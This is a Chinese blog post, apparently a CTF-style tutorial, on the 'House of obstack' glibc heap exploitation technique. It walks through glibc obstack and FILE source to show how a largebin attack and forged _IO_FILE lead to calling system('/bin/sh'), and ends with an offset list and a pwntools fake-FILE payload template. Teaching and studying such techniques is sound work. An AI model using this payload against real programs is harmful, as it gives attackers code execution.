Featured image of post House of obstack

House of obstack

参考了 7resp4ss 师傅的文章

https://tttang.com/archive/1845/#toc__io_obstack_overflow

介绍

范围:2.37之前,因为2.37之后把obstack结构体给删了

条件 :能够泄露libc和heap,一次largebin attack,能触发IO流

通过largebin attack劫持_IO_list_all到堆地址,伪造_IO_file触发_IO_obsatck_overflow

源码分析

obstack结构体如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct obstack          /* control current object in current chunk */
{
    long chunk_size;              /* preferred size to allocate chunks in */
    struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
    char *object_base;            /* address of object we are building */
    char *next_free;              /* where to add next char to current object */
    char *chunk_limit;            /* address of char after current chunk */
    union
    {
        PTR_INT_TYPE tempint;
        void *tempptr;
    } temp;                       /* Temporary for some macros.  */
    int alignment_mask;           /* Mask of alignment for each object. */
    /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
    struct _obstack_chunk *(*chunkfun) (void *, long);
    void (*freefun) (void *, struct _obstack_chunk *);
    void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
    unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
    unsigned maybe_empty_object : 1; /* There is a possibility that the current
                      chunk contains a zero-length object.  This
                      prevents freeing the chunk if we allocate
                      a bigger chunk to replace it. */
    unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
                     handler on error, but retained for binary
                     compatibility.  */
};

_IO_obstack_file结构体

1
2
3
4
5
struct _IO_obstack_file
{
    struct _IO_FILE_plus file;
    struct obstack *obstack;
};

就是给_IO_FILE_plus结构图追加了一个obstack结构体类型的指针

_IO_obstack_jumps

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, _IO_obstack_overflow),
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, _IO_obstack_xsputn),
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

该vtable内只存在两个函数,分别为_IO_obstack_overflow、_IO_obstack_xsputn

_IO_obstack_overflow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
static int
_IO_obstack_overflow (_IO_FILE *fp, int c)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
  int size;
  /* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
  assert (c != EOF);    //关注这里
  obstack_1grow (obstack, c);
  /* Setup the buffer pointers again.  */
  fp->_IO_write_base = obstack_base (obstack);
  fp->_IO_write_ptr = obstack_next_free (obstack);
  size = obstack_room (obstack);
  fp->_IO_write_end = fp->_IO_write_ptr + size;
  /* Now allocate the rest of the current chunk.  */
  obstack_blank_fast (obstack, size);
  return c;
}

可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时,rsi往往是0xffffffff,所以我们看另一个函数

_IO_obstack_xsputn

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
static _IO_size_t
_IO_obstack_xsputn (_IO_FILE *fp, const void *data, _IO_size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

  if (fp->_IO_write_ptr + n > fp->_IO_write_end)
    {
      int size;
      /* We need some more memory.  First shrink the buffer to the
     space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n);

      [...]
}

首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);,而obstack_blank_fast是个宏定义,源码如下:

obstack_blank_fast&&obstack_grow

1
#define obstack_blank_fast(h, n) ((h)->next_free += (n))

这对于我们没什么用,然后会执行obstack_grow (obstack, data, n);这个函数,obstack_grow宏定义如下

1
2
3
4
5
6
7
8
9
#define obstack_grow(OBSTACK, where, length)                      \
  __extension__                                   \
    ({ struct obstack *__o = (OBSTACK);                       \
       int __len = (length);                              \
       if (_o->next_free + __len > __o->chunk_limit)                  \
     _obstack_newchunk (__o, __len);                      \
       memcpy (__o->next_free, where, __len);                     \
       __o->next_free += __len;                           \
       (void) 0; })

可以看到,当_o->next_free + __len > __o->chunk_limit

时,调用_obstack_newchunk,_obstack_newchunk函数源码如下:、

_obstack_newchunk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);
  [...]
}

调用了new_chunk = CALL_CHUNKFUN (h, new_size); CALL_CHUNKFUN是个宏定义,CALL_CHUNKFUN源码如下:

CALL_CHUNKFUN

1
2
3
4
# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)                               \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))                     \
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size))

从调用_IO_obstack_xsputn开始分析,假设满足上述所有需要绕过的条件,得以下调用链:

1
2
3
4
5
_IO_obstack_xsputn
    obstack_grow
        _obstack_newchunk
            CALL_CHUNKFUN(一个宏定义)
                 (*(h)->chunkfun)((h)->extra_arg, (size))

如果通过FSOP触发的话,我们需要劫持vtable到_IO_obstack_jumps+0x20,由于overflow函数的偏移为0x18,xsputn偏移为0x38,所以执行_IO_flush_all_lockp 时,会执行到_IO_obstack_xsputn,假设通过exit进行FSOP,得到以下调用链。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
exit
 __run_exit_handlers
   fcloseall
     _IO_cleanup
    _IO_flush_all_lockp
            _IO_obstack_xsputn
            obstack_grow
                _obstack_newchunk
                        CALL_CHUNKFUN(一个宏定义)
                        (*(h)->chunkfun)((h)->extra_arg, (size))

模板

当满足以下条件的时候可以实现攻击:利用largebin attack伪造_IO_FILE,记完成伪造的chunk为A

  • chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20 (vtable)
  • chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体 (obstack)
  • chunk A内偏移为0x18处设为1 (next_free)
  • chunk A内偏移为0x20处设为0 (chunk_limit)
  • chunk A内偏移为0x48处设为&/bin/sh (extra_arg)
  • chunk A内偏移为0x38处设为system函数的地址 (chunkfun)
  • chunk A内偏移为0x28处设为1 (_IO_write_ptr)
  • chunk A内偏移为0x30处设为0 (_IO_write_end)
  • chunk A内偏移为0x50处设为1 (use_extra_arg)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
fake_file = flat(
    {
        #0x0: b"/bin/sh", 
        0xc8: libcbase +libc.sym['_IO_obstack_jumps']+0x20,
        0xd0: fake_file_addr,
        0x8: 1,
        0x10: 0,
        0x38: binsh,
        0x28: libcbase + libc.sym["system"],
        0x18: 1,
        0x20: 0,
        0x40: 1,
    },
    filler=b'\x00',
)
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计